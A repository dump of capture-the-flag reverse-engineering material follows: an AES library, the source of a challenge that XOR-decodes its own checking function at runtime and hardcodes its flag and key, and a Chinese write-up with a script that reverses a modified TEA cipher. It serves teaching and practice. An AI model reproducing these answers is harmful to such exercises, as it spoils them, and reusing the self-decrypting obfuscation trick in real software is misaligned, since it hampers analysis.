}; 121 | 122 | /* 123 | * Jordan Goulder points out in PR #12 (https://github.com/kokke/tiny-AES-C/pull/12), 124 | * that you can remove most of the elements in the Rcon array, because they are unused. 125 | * 126 | * From Wikipedia's article on the Rijndael key schedule @ https://en.wikipedia.org/wiki/Rijndael_key_schedule#Rcon 127 | * 128 | * "Only the first some of these constants are actually used – up to rcon[10] for AES-128 (as 11 round keys are needed), 129 | * up to rcon[8] for AES-192, up to rcon[7] for AES-256. rcon[0] is not used in AES algorithm." 130 | */ 131 | 132 | 133 | /*****************************************************************************/ 134 | /* Private functions: */ 135 | /*****************************************************************************/ 136 | /* 137 | static uint8_t getSBoxValue(uint8_t num) 138 | { 139 | return sbox[num]; 140 | } 141 | */ 142 | #define getSBoxValue(num) (sbox[(num)]) 143 | /* 144 | static uint8_t getSBoxInvert(uint8_t num) 145 | { 146 | return rsbox[num]; 147 | } 148 | */ 149 | #define getSBoxInvert(num) (rsbox[(num)]) 150 | 151 | // This function produces Nb(Nr+1) round keys. The round keys are used in each round to decrypt the states. 152 | static void KeyExpansion(uint8_t* RoundKey, const uint8_t* Key) 153 | { 154 | unsigned i, j, k; 155 | uint8_t tempa[4]; // Used for the column/row operations 156 | 157 | // The first round key is the key itself. 158 | for (i = 0; i < Nk; ++i) 159 | { 160 | RoundKey[(i * 4) + 0] = Key[(i * 4) + 0]; 161 | RoundKey[(i * 4) + 1] = Key[(i * 4) + 1]; 162 | RoundKey[(i * 4) + 2] = Key[(i * 4) + 2]; 163 | RoundKey[(i * 4) + 3] = Key[(i * 4) + 3]; 164 | } 165 | 166 | // All other round keys are found from the previous round keys. 167 | for (i = Nk; i < Nb * (Nr + 1); ++i) 168 | { 169 | { 170 | k = (i - 1) * 4; 171 | tempa[0]=RoundKey[k + 0]; 172 | tempa[1]=RoundKey[k + 1]; 173 | tempa[2]=RoundKey[k + 2]; 174 | tempa[3]=RoundKey[k + 3]; 175 | 176 | } 177 | 178 | if (i % Nk == 0) 179 | { 180 | // This function shifts the 4 bytes in a word to the left once. 181 | // [a0,a1,a2,a3] becomes [a1,a2,a3,a0] 182 | 183 | // Function RotWord() 184 | { 185 | const uint8_t u8tmp = tempa[0]; 186 | tempa[0] = tempa[1]; 187 | tempa[1] = tempa[2]; 188 | tempa[2] = tempa[3]; 189 | tempa[3] = u8tmp; 190 | } 191 | 192 | // SubWord() is a function that takes a four-byte input word and 193 | // applies the S-box to each of the four bytes to produce an output word. 194 | 195 | // Function Subword() 196 | { 197 | tempa[0] = getSBoxValue(tempa[0]); 198 | tempa[1] = getSBoxValue(tempa[1]); 199 | tempa[2] = getSBoxValue(tempa[2]); 200 | tempa[3] = getSBoxValue(tempa[3]); 201 | } 202 | 203 | tempa[0] = tempa[0] ^ Rcon[i/Nk]; 204 | } 205 | #if defined(AES256) && (AES256 == 1) 206 | if (i % Nk == 4) 207 | { 208 | // Function Subword() 209 | { 210 | tempa[0] = getSBoxValue(tempa[0]); 211 | tempa[1] = getSBoxValue(tempa[1]); 212 | tempa[2] = getSBoxValue(tempa[2]); 213 | tempa[3] = getSBoxValue(tempa[3]); 214 | } 215 | } 216 | #endif 217 | j = i * 4; k=(i - Nk) * 4; 218 | RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0]; 219 | RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1]; 220 | RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2]; 221 | RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3]; 222 | } 223 | } 224 | 225 | void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key) 226 | { 227 | KeyExpansion(ctx->RoundKey, key); 228 | } 229 | #if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) 230 | void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv) 231 | { 232 | KeyExpansion(ctx->RoundKey, key); 233 | memcpy (ctx->Iv, iv, AES_BLOCKLEN); 234 | } 235 | void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv) 236 | { 237 | memcpy (ctx->Iv, iv, AES_BLOCKLEN); 238 | } 239 | #endif 240 | 241 | // This function adds the round key to state. 242 | // The round key is added to the state by an XOR function. 243 | static void AddRoundKey(uint8_t round, state_t* state, const uint8_t* RoundKey) 244 | { 245 | uint8_t i,j; 246 | for (i = 0; i < 4; ++i) 247 | { 248 | for (j = 0; j < 4; ++j) 249 | { 250 | (*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j]; 251 | } 252 | } 253 | } 254 | 255 | // The SubBytes Function Substitutes the values in the 256 | // state matrix with values in an S-box. 257 | static void SubBytes(state_t* state) 258 | { 259 | uint8_t i, j; 260 | for (i = 0; i < 4; ++i) 261 | { 262 | for (j = 0; j < 4; ++j) 263 | { 264 | (*state)[j][i] = getSBoxValue((*state)[j][i]); 265 | } 266 | } 267 | } 268 | 269 | // The ShiftRows() function shifts the rows in the state to the left. 270 | // Each row is shifted with different offset. 271 | // Offset = Row number. So the first row is not shifted. 272 | static void ShiftRows(state_t* state) 273 | { 274 | uint8_t temp; 275 | 276 | // Rotate first row 1 columns to left 277 | temp = (*state)[0][1]; 278 | (*state)[0][1] = (*state)[1][1]; 279 | (*state)[1][1] = (*state)[2][1]; 280 | (*state)[2][1] = (*state)[3][1]; 281 | (*state)[3][1] = temp; 282 | 283 | // Rotate second row 2 columns to left 284 | temp = (*state)[0][2]; 285 | (*state)[0][2] = (*state)[2][2]; 286 | (*state)[2][2] = temp; 287 | 288 | temp = (*state)[1][2]; 289 | (*state)[1][2] = (*state)[3][2]; 290 | (*state)[3][2] = temp; 291 | 292 | // Rotate third row 3 columns to left 293 | temp = (*state)[0][3]; 294 | (*state)[0][3] = (*state)[3][3]; 295 | (*state)[3][3] = (*state)[2][3]; 296 | (*state)[2][3] = (*state)[1][3]; 297 | (*state)[1][3] = temp; 298 | } 299 | 300 | static uint8_t xtime(uint8_t x) 301 | { 302 | return ((x<<1) ^ (((x>>7) & 1) * 0x1b)); 303 | } 304 | 305 | // MixColumns function mixes the columns of the state matrix 306 | static void MixColumns(state_t* state) 307 | { 308 | uint8_t i; 309 | uint8_t Tmp, Tm, t; 310 | for (i = 0; i < 4; ++i) 311 | { 312 | t = (*state)[i][0]; 313 | Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3] ; 314 | Tm = (*state)[i][0] ^ (*state)[i][1] ; Tm = xtime(Tm); (*state)[i][0] ^= Tm ^ Tmp ; 315 | Tm = (*state)[i][1] ^ (*state)[i][2] ; Tm = xtime(Tm); (*state)[i][1] ^= Tm ^ Tmp ; 316 | Tm = (*state)[i][2] ^ (*state)[i][3] ; Tm = xtime(Tm); (*state)[i][2] ^= Tm ^ Tmp ; 317 | Tm = (*state)[i][3] ^ t ; Tm = xtime(Tm); (*state)[i][3] ^= Tm ^ Tmp ; 318 | } 319 | } 320 | 321 | // Multiply is used to multiply numbers in the field GF(2^8) 322 | // Note: The last call to xtime() is unneeded, but often ends up generating a smaller binary 323 | // The compiler seems to be able to vectorize the operation better this way. 324 | // See https://github.com/kokke/tiny-AES-c/pull/34 325 | #if MULTIPLY_AS_A_FUNCTION 326 | static uint8_t Multiply(uint8_t x, uint8_t y) 327 | { 328 | return (((y & 1) * x) ^ 329 | ((y>>1 & 1) * xtime(x)) ^ 330 | ((y>>2 & 1) * xtime(xtime(x))) ^ 331 | ((y>>3 & 1) * xtime(xtime(xtime(x)))) ^ 332 | ((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))); /* this last call to xtime() can be omitted */ 333 | } 334 | #else 335 | #define Multiply(x, y) \ 336 | ( ((y & 1) * x) ^ \ 337 | ((y>>1 & 1) * xtime(x)) ^ \ 338 | ((y>>2 & 1) * xtime(xtime(x))) ^ \ 339 | ((y>>3 & 1) * xtime(xtime(xtime(x)))) ^ \ 340 | ((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))) \ 341 | 342 | #endif 343 | 344 | #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) 345 | // MixColumns function mixes the columns of the state matrix. 346 | // The method used to multiply may be difficult to understand for the inexperienced. 347 | // Please use the references to gain more information. 348 | static void InvMixColumns(state_t* state) 349 | { 350 | int i; 351 | uint8_t a, b, c, d; 352 | for (i = 0; i < 4; ++i) 353 | { 354 | a = (*state)[i][0]; 355 | b = (*state)[i][1]; 356 | c = (*state)[i][2]; 357 | d = (*state)[i][3]; 358 | 359 | (*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09); 360 | (*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d); 361 | (*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b); 362 | (*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e); 363 | } 364 | } 365 | 366 | 367 | // The SubBytes Function Substitutes the values in the 368 | // state matrix with values in an S-box. 369 | static void InvSubBytes(state_t* state) 370 | { 371 | uint8_t i, j; 372 | for (i = 0; i < 4; ++i) 373 | { 374 | for (j = 0; j < 4; ++j) 375 | { 376 | (*state)[j][i] = getSBoxInvert((*state)[j][i]); 377 | } 378 | } 379 | } 380 | 381 | static void InvShiftRows(state_t* state) 382 | { 383 | uint8_t temp; 384 | 385 | // Rotate first row 1 columns to right 386 | temp = (*state)[3][1]; 387 | (*state)[3][1] = (*state)[2][1]; 388 | (*state)[2][1] = (*state)[1][1]; 389 | (*state)[1][1] = (*state)[0][1]; 390 | (*state)[0][1] = temp; 391 | 392 | // Rotate second row 2 columns to right 393 | temp = (*state)[0][2]; 394 | (*state)[0][2] = (*state)[2][2]; 395 | (*state)[2][2] = temp; 396 | 397 | temp = (*state)[1][2]; 398 | (*state)[1][2] = (*state)[3][2]; 399 | (*state)[3][2] = temp; 400 | 401 | // Rotate third row 3 columns to right 402 | temp = (*state)[0][3]; 403 | (*state)[0][3] = (*state)[1][3]; 404 | (*state)[1][3] = (*state)[2][3]; 405 | (*state)[2][3] = (*state)[3][3]; 406 | (*state)[3][3] = temp; 407 | } 408 | #endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) 409 | 410 | // Cipher is the main function that encrypts the PlainText. 411 | static void Cipher(state_t* state, const uint8_t* RoundKey) 412 | { 413 | uint8_t round = 0; 414 | 415 | // Add the First round key to the state before starting the rounds. 416 | AddRoundKey(0, state, RoundKey); 417 | 418 | // There will be Nr rounds. 419 | // The first Nr-1 rounds are identical. 420 | // These Nr-1 rounds are executed in the loop below. 421 | for (round = 1; round < Nr; ++round) 422 | { 423 | SubBytes(state); 424 | ShiftRows(state); 425 | MixColumns(state); 426 | AddRoundKey(round, state, RoundKey); 427 | } 428 | 429 | // The last round is given below. 430 | // The MixColumns function is not here in the last round. 431 | SubBytes(state); 432 | ShiftRows(state); 433 | AddRoundKey(Nr, state, RoundKey); 434 | } 435 | 436 | #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) 437 | static void InvCipher(state_t* state, const uint8_t* RoundKey) 438 | { 439 | uint8_t round = 0; 440 | 441 | // Add the First round key to the state before starting the rounds. 442 | AddRoundKey(Nr, state, RoundKey); 443 | 444 | // There will be Nr rounds. 445 | // The first Nr-1 rounds are identical. 446 | // These Nr-1 rounds are executed in the loop below. 447 | for (round = (Nr - 1); round > 0; --round) 448 | { 449 | InvShiftRows(state); 450 | InvSubBytes(state); 451 | AddRoundKey(round, state, RoundKey); 452 | InvMixColumns(state); 453 | } 454 | 455 | // The last round is given below. 456 | // The MixColumns function is not here in the last round. 457 | InvShiftRows(state); 458 | InvSubBytes(state); 459 | AddRoundKey(0, state, RoundKey); 460 | } 461 | #endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) 462 | 463 | /*****************************************************************************/ 464 | /* Public functions: */ 465 | /*****************************************************************************/ 466 | #if defined(ECB) && (ECB == 1) 467 | 468 | 469 | void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf) 470 | { 471 | // The next function call encrypts the PlainText with the Key using AES algorithm. 472 | Cipher((state_t*)buf, ctx->RoundKey); 473 | } 474 | 475 | void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf) 476 | { 477 | // The next function call decrypts the PlainText with the Key using AES algorithm. 478 | InvCipher((state_t*)buf, ctx->RoundKey); 479 | } 480 | 481 | 482 | #endif // #if defined(ECB) && (ECB == 1) 483 | 484 | 485 | 486 | 487 | 488 | #if defined(CBC) && (CBC == 1) 489 | 490 | 491 | static void XorWithIv(uint8_t* buf, const uint8_t* Iv) 492 | { 493 | uint8_t i; 494 | for (i = 0; i < AES_BLOCKLEN; ++i) // The block in AES is always 128bit no matter the key size 495 | { 496 | buf[i] ^= Iv[i]; 497 | } 498 | } 499 | 500 | void AES_CBC_encrypt_buffer(struct AES_ctx *ctx, uint8_t* buf, uint32_t length) 501 | { 502 | uintptr_t i; 503 | uint8_t *Iv = ctx->Iv; 504 | for (i = 0; i < length; i += AES_BLOCKLEN) 505 | { 506 | XorWithIv(buf, Iv); 507 | Cipher((state_t*)buf, ctx->RoundKey); 508 | Iv = buf; 509 | buf += AES_BLOCKLEN; 510 | //printf("Step %d - %d", i/16, i); 511 | } 512 | /* store Iv in ctx for next call */ 513 | memcpy(ctx->Iv, Iv, AES_BLOCKLEN); 514 | } 515 | 516 | void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, uint32_t length) 517 | { 518 | uintptr_t i; 519 | uint8_t storeNextIv[AES_BLOCKLEN]; 520 | for (i = 0; i < length; i += AES_BLOCKLEN) 521 | { 522 | memcpy(storeNextIv, buf, AES_BLOCKLEN); 523 | InvCipher((state_t*)buf, ctx->RoundKey); 524 | XorWithIv(buf, ctx->Iv); 525 | memcpy(ctx->Iv, storeNextIv, AES_BLOCKLEN); 526 | buf += AES_BLOCKLEN; 527 | } 528 | 529 | } 530 | 531 | #endif // #if defined(CBC) && (CBC == 1) 532 | 533 | 534 | 535 | #if defined(CTR) && (CTR == 1) 536 | 537 | /* Symmetrical operation: same function for encrypting as for decrypting. Note any IV/nonce should never be reused with the same key */ 538 | void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, uint32_t length) 539 | { 540 | uint8_t buffer[AES_BLOCKLEN]; 541 | 542 | unsigned i; 543 | int bi; 544 | for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi) 545 | { 546 | if (bi == AES_BLOCKLEN) /* we need to regen xor compliment in buffer */ 547 | { 548 | 549 | memcpy(buffer, ctx->Iv, AES_BLOCKLEN); 550 | Cipher((state_t*)buffer,ctx->RoundKey); 551 | 552 | /* Increment Iv and handle overflow */ 553 | for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi) 554 | { 555 | /* inc will overflow */ 556 | if (ctx->Iv[bi] == 255) 557 | { 558 | ctx->Iv[bi] = 0; 559 | continue; 560 | } 561 | ctx->Iv[bi] += 1; 562 | break; 563 | } 564 | bi = 0; 565 | } 566 | 567 | buf[i] = (buf[i] ^ buffer[bi]); 568 | } 569 | } 570 | 571 | #endif // #if defined(CTR) && (CTR == 1) 572 | 573 | -------------------------------------------------------------------------------- /wp/reverse/re3/source/aes.h: -------------------------------------------------------------------------------- 1 | #ifndef _AES_H_ 2 | #define _AES_H_ 3 | 4 | #include 5 | 6 | // #define the macros below to 1/0 to enable/disable the mode of operation. 7 | // 8 | // CBC enables AES encryption in CBC-mode of operation. 9 | // CTR enables encryption in counter-mode. 10 | // ECB enables the basic ECB 16-byte block algorithm. All can be enabled simultaneously. 11 | 12 | // The #ifndef-guard allows it to be configured before #include'ing or at compile time. 13 | #ifndef CBC 14 | #define CBC 1 15 | #endif 16 | 17 | #ifndef ECB 18 | #define ECB 1 19 | #endif 20 | 21 | #ifndef CTR 22 | #define CTR 1 23 | #endif 24 | 25 | 26 | #define AES128 1 27 | //#define AES192 1 28 | //#define AES256 1 29 | 30 | #define AES_BLOCKLEN 16 //Block length in bytes AES is 128b block only 31 | 32 | #if defined(AES256) && (AES256 == 1) 33 | #define AES_KEYLEN 32 34 | #define AES_keyExpSize 240 35 | #elif defined(AES192) && (AES192 == 1) 36 | #define AES_KEYLEN 24 37 | #define AES_keyExpSize 208 38 | #else 39 | #define AES_KEYLEN 16 // Key length in bytes 40 | #define AES_keyExpSize 176 41 | #endif 42 | 43 | struct AES_ctx 44 | { 45 | uint8_t RoundKey[AES_keyExpSize]; 46 | #if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) 47 | uint8_t Iv[AES_BLOCKLEN]; 48 | #endif 49 | }; 50 | 51 | void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key); 52 | #if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) 53 | void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv); 54 | void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv); 55 | #endif 56 | 57 | #if defined(ECB) && (ECB == 1) 58 | // buffer size is exactly AES_BLOCKLEN bytes; 59 | // you need only AES_init_ctx as IV is not used in ECB 60 | // NB: ECB is considered insecure for most uses 61 | void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf); 62 | void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf); 63 | 64 | #endif // #if defined(ECB) && (ECB == !) 65 | 66 | 67 | #if defined(CBC) && (CBC == 1) 68 | // buffer size MUST be mutile of AES_BLOCKLEN; 69 | // Suggest https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme 70 | // NOTES: you need to set IV in ctx via AES_init_ctx_iv() or AES_ctx_set_iv() 71 | // no IV should ever be reused with the same key 72 | void AES_CBC_encrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, uint32_t length); 73 | void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, uint32_t length); 74 | 75 | #endif // #if defined(CBC) && (CBC == 1) 76 | 77 | 78 | #if defined(CTR) && (CTR == 1) 79 | 80 | // Same function for encrypting as for decrypting. 81 | // IV is incremented for every block, and used after encryption as XOR-compliment for output 82 | // Suggesting https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme 83 | // NOTES: you need to set IV in ctx with AES_init_ctx_iv() or AES_ctx_set_iv() 84 | // no IV should ever be reused with the same key 85 | void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, uint32_t length); 86 | 87 | #endif // #if defined(CTR) && (CTR == 1) 88 | 89 | 90 | #endif //_AES_H_ 91 | -------------------------------------------------------------------------------- /wp/reverse/re3/source/src.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "aes.h" 7 | // gcc -s aes.c aes.h src.c -o re 8 | 9 | 10 | // ads = 0x402219 11 | // end = 0x4022F8 12 | // while ads <= end: 13 | // patch_byte(ads, get_byte(ads)^0x99) 14 | // ads += 1 15 | // print "OK" 16 | 17 | 18 | // flag{924a9ab2163d390410d0a1f670} 19 | uint8_t key[0x10]; 20 | uint8_t vdata[0x20] = {188, 21 | 10, 22 | 173, 23 | 192, 24 | 20, 25 | 124, 26 | 94, 27 | 204, 28 | 224, 29 | 177, 30 | 64, 31 | 188, 32 | 156, 33 | 81, 34 | 213, 35 | 43, 36 | 70, 37 | 178, 38 | 185, 39 | 67, 40 | 77, 41 | 229, 42 | 50, 43 | 75, 44 | 173, 45 | 127, 46 | 180, 47 | 179, 48 | 156, 49 | 219, 50 | 75, 51 | 91}; 52 | 53 | uint8_t Prime_Constants_char[] = { 54 | 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251}; 55 | 56 | uint8_t CRC32_table[] = { 57 | 0, 0, 0, 0, 150, 48, 7, 119, 44, 97, 14, 238, 186, 81, 9, 153, 25, 196, 109, 7}; 58 | 59 | uint8_t Base64_table[] = { 60 | 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 43, 47}; 61 | 62 | // Constants are the integer part of the sines of integers (in radians) * 2^32. 63 | const uint32_t k[64] = { 64 | 0xd76aa478, 0xe8c7b756, 0x242070db, 0xc1bdceee, 65 | 0xf57c0faf, 0x4787c62a, 0xa8304613, 0xfd469501, 66 | 0x698098d8, 0x8b44f7af, 0xffff5bb1, 0x895cd7be, 67 | 0x6b901122, 0xfd987193, 0xa679438e, 0x49b40821, 68 | 0xf61e2562, 0xc040b340, 0x265e5a51, 0xe9b6c7aa, 69 | 0xd62f105d, 0x02441453, 0xd8a1e681, 0xe7d3fbc8, 70 | 0x21e1cde6, 0xc33707d6, 0xf4d50d87, 0x455a14ed, 71 | 0xa9e3e905, 0xfcefa3f8, 0x676f02d9, 0x8d2a4c8a, 72 | 0xfffa3942, 0x8771f681, 0x6d9d6122, 0xfde5380c, 73 | 0xa4beea44, 0x4bdecfa9, 0xf6bb4b60, 0xbebfbc70, 74 | 0x289b7ec6, 0xeaa127fa, 0xd4ef3085, 0x04881d05, 75 | 0xd9d4d039, 0xe6db99e5, 0x1fa27cf8, 0xc4ac5665, 76 | 0xf4292244, 0x432aff97, 0xab9423a7, 0xfc93a039, 77 | 0x655b59c3, 0x8f0ccc92, 0xffeff47d, 0x85845dd1, 78 | 0x6fa87e4f, 0xfe2ce6e0, 0xa3014314, 0x4e0811a1, 79 | 0xf7537e82, 0xbd3af235, 0x2ad7d2bb, 0xeb86d391}; 80 | 81 | // r specifies the per-round shift amounts 82 | const uint32_t r[] = {7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 83 | 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 84 | 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 85 | 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21}; 86 | 87 | // leftrotate function definition 88 | #define LEFTROTATE(x, c) (((x) << (c)) | ((x) >> (32 - (c)))) 89 | 90 | void to_bytes(uint32_t val, uint8_t *bytes) 91 | { 92 | bytes[0] = (uint8_t)val; 93 | bytes[1] = (uint8_t)(val >> 8); 94 | bytes[2] = (uint8_t)(val >> 16); 95 | bytes[3] = (uint8_t)(val >> 24); 96 | } 97 | 98 | uint32_t to_int32(const uint8_t *bytes) 99 | { 100 | return (uint32_t)bytes[0] | ((uint32_t)bytes[1] << 8) | ((uint32_t)bytes[2] << 16) | ((uint32_t)bytes[3] << 24); 101 | } 102 | 103 | void md5(const uint8_t *initial_msg, size_t initial_len, uint8_t *digest) 104 | { 105 | 106 | // These vars will contain the hash 107 | uint32_t h0, h1, h2, h3; 108 | 109 | // Message (to prepare) 110 | uint8_t *msg = NULL; 111 | 112 | size_t new_len, offset; 113 | uint32_t w[16]; 114 | uint32_t a, b, c, d, i, f, g, temp; 115 | 116 | // Initialize variables - simple count in nibbles: 117 | h0 = 0x67452301; 118 | h1 = 0xefcdab89; 119 | h2 = 0x98badcfe; 120 | h3 = 0x10325476; 121 | 122 | //Pre-processing: 123 | //append "1" bit to message 124 | //append "0" bits until message length in bits ≡ 448 (mod 512) 125 | //append length mod (2^64) to message 126 | 127 | for (new_len = initial_len + 1; new_len % (512 / 8) != 448 / 8; new_len++) 128 | ; 129 | 130 | msg = (uint8_t *)malloc(new_len + 8); 131 | memcpy(msg, initial_msg, initial_len); 132 | msg[initial_len] = 0x80; // append the "1" bit; most significant bit is "first" 133 | for (offset = initial_len + 1; offset < new_len; offset++) 134 | msg[offset] = 0; // append "0" bits 135 | 136 | // append the len in bits at the end of the buffer. 137 | to_bytes(initial_len * 8, msg + new_len); 138 | // initial_len>>29 == initial_len*8>>32, but avoids overflow. 139 | to_bytes(initial_len >> 29, msg + new_len + 4); 140 | 141 | // Process the message in successive 512-bit chunks: 142 | //for each 512-bit chunk of message: 143 | for (offset = 0; offset < new_len; offset += (512 / 8)) 144 | { 145 | 146 | // break chunk into sixteen 32-bit words w[j], 0 ≤ j ≤ 15 147 | for (i = 0; i < 16; i++) 148 | w[i] = to_int32(msg + offset + i * 4); 149 | 150 | // Initialize hash value for this chunk: 151 | a = h0; 152 | b = h1; 153 | c = h2; 154 | d = h3; 155 | 156 | // Main loop: 157 | for (i = 0; i < 64; i++) 158 | { 159 | 160 | if (i < 16) 161 | { 162 | f = (b & c) | ((~b) & d); 163 | g = i; 164 | } 165 | else if (i < 32) 166 | { 167 | f = (d & b) | ((~d) & c); 168 | g = (5 * i + 1) % 16; 169 | } 170 | else if (i < 48) 171 | { 172 | f = b ^ c ^ d; 173 | g = (3 * i + 5) % 16; 174 | } 175 | else 176 | { 177 | f = c ^ (b | (~d)); 178 | g = (7 * i) % 16; 179 | } 180 | 181 | temp = d; 182 | d = c; 183 | c = b; 184 | b = b + LEFTROTATE((a + f + k[i] + w[g]), r[i]); 185 | a = temp; 186 | } 187 | 188 | // Add this chunk's hash to result so far: 189 | h0 += a; 190 | h1 += b; 191 | h2 += c; 192 | h3 += d; 193 | } 194 | 195 | // cleanup 196 | free(msg); 197 | 198 | //var char digest[16] := h0 append h1 append h2 append h3 //(Output is in little-endian) 199 | to_bytes(h0, digest); 200 | to_bytes(h1, digest + 4); 201 | to_bytes(h2, digest + 8); 202 | to_bytes(h3, digest + 12); 203 | } 204 | 205 | void generatekey(uint8_t *key) 206 | { 207 | uint8_t digest[0x40]; 208 | md5(Base64_table, 64, digest); 209 | md5(CRC32_table, 20, digest + 0x10); 210 | md5(Prime_Constants_char, 53, digest + 0x20); 211 | md5(k, 64 * 4, digest + 0x30); 212 | md5(digest, 0x40, key); 213 | } 214 | 215 | int judge(uint8_t *ttt); 216 | 217 | int main() 218 | { 219 | uint8_t in[40]; 220 | scanf("%39s", in); 221 | int len = strlen(in); 222 | if (len != 32) 223 | { 224 | printf("Wrong!\n"); 225 | exit(0); 226 | } 227 | 228 | int (*p)(char *s); 229 | p = judge; 230 | mprotect(0x400000, 0xF000, PROT_READ | PROT_WRITE | PROT_EXEC); 231 | uint8_t *pt = (uint8_t *)p; 232 | /*decrypt here*/ 233 | for (int i = 0; i < 224; i++) 234 | { 235 | uint8_t tmp = pt[i]; 236 | pt[i] = tmp ^ 0x99; 237 | } 238 | 239 | generatekey(key); 240 | // key = [ 241 | // 0xcb, 0x8d, 0x49, 0x35, 0x21, 0xb4, 0x7a, 0x4c, 242 | // 0xc1, 0xae, 0x7e, 0x62, 0x22, 0x92, 0x66, 0xce 243 | //] 244 | 245 | if (judge(in)) 246 | { 247 | printf("Correct!\n"); 248 | } 249 | else 250 | { 251 | printf("Wrong!\n"); 252 | } 253 | exit(0); 254 | } 255 | 256 | int judge(uint8_t *ttt) 257 | { 258 | struct AES_ctx ctx; 259 | AES_init_ctx(&ctx, key); 260 | AES_ECB_encrypt(&ctx, ttt); 261 | AES_ECB_encrypt(&ctx, ttt + 0x10); 262 | 263 | int right = 1; 264 | for (int i = 0; i < 0x20; i++) 265 | { 266 | if (ttt[i] != vdata[i]) 267 | { 268 | right = 0; 269 | } 270 | } 271 | return right; 272 | } -------------------------------------------------------------------------------- /wp/reverse/xxor/README.md: -------------------------------------------------------------------------------- 1 | ### 一、xxor 2 | 3 | 这题一开始出了点小bug,密文的check工作不严谨,修补了一段时间,在此和师傅们道个歉,下面看下这题: 4 | 5 | 1、tea算法魔改,动态调试可以找出标志数0x458BCD42和key[2,2,3,4] 6 | 7 | 2、check部分可以通过解方程得到密文:[0xdf48ef7e,0x20caacf4,0xe0f30fd5,0x5c50d8d6,0x9e1bde2d,0x84f30420] 8 | 9 | 3、每2个2个进行加密,得到6组密文,写脚本反解即可。 10 | 11 | 4、将输入转成16进制,并拼接转成字符即可得到flag 12 | 13 | ```c 14 | //gcc -o exp exp.c 15 | #include 16 | #include 17 | uint32_t v[2]={0,0},k[4]={2,2,3,4}; 18 | void decrypt (uint32_t* v, uint32_t* k) { 19 | uint32_t v0=v[0], v1=v[1], sum=0x62F35080, i; /* set up */ 20 | uint32_t delta=0x458BCD42; /* a key schedule constant */ 21 | uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ 22 | for (i=0; i<64; i++) { /* basic cycle start */ 23 | v1 -= ((((v0<<6) + k2) ^ (v0 + sum + 20) ^ ((v0>>9) + k3))^0x10); 24 | v0 -= ((((v1<<6) + k0) ^ (v1 + sum + 11) ^ ((v1>>9) + k1))^0x20); 25 | sum -= delta; 26 | } /* end cycle */ 27 | v[0]=v0; v[1]=v1; 28 | } 29 | 30 | int main() 31 | { 32 | uint32_t v10[10]={0xdf48ef7e,0x20caacf4,0xe0f30fd5,0x5c50d8d6,0x9e1bde2d,0x84f30420}; 33 | for(int i=0;i<5;i=i+2 ) 34 | { 35 | v[0] = v10[i]; 36 | v[1] = v10[i+1]; 37 | decrypt(v, k); 38 | printf("解密后的数据:%x %x\n",v[0],v[1]); 39 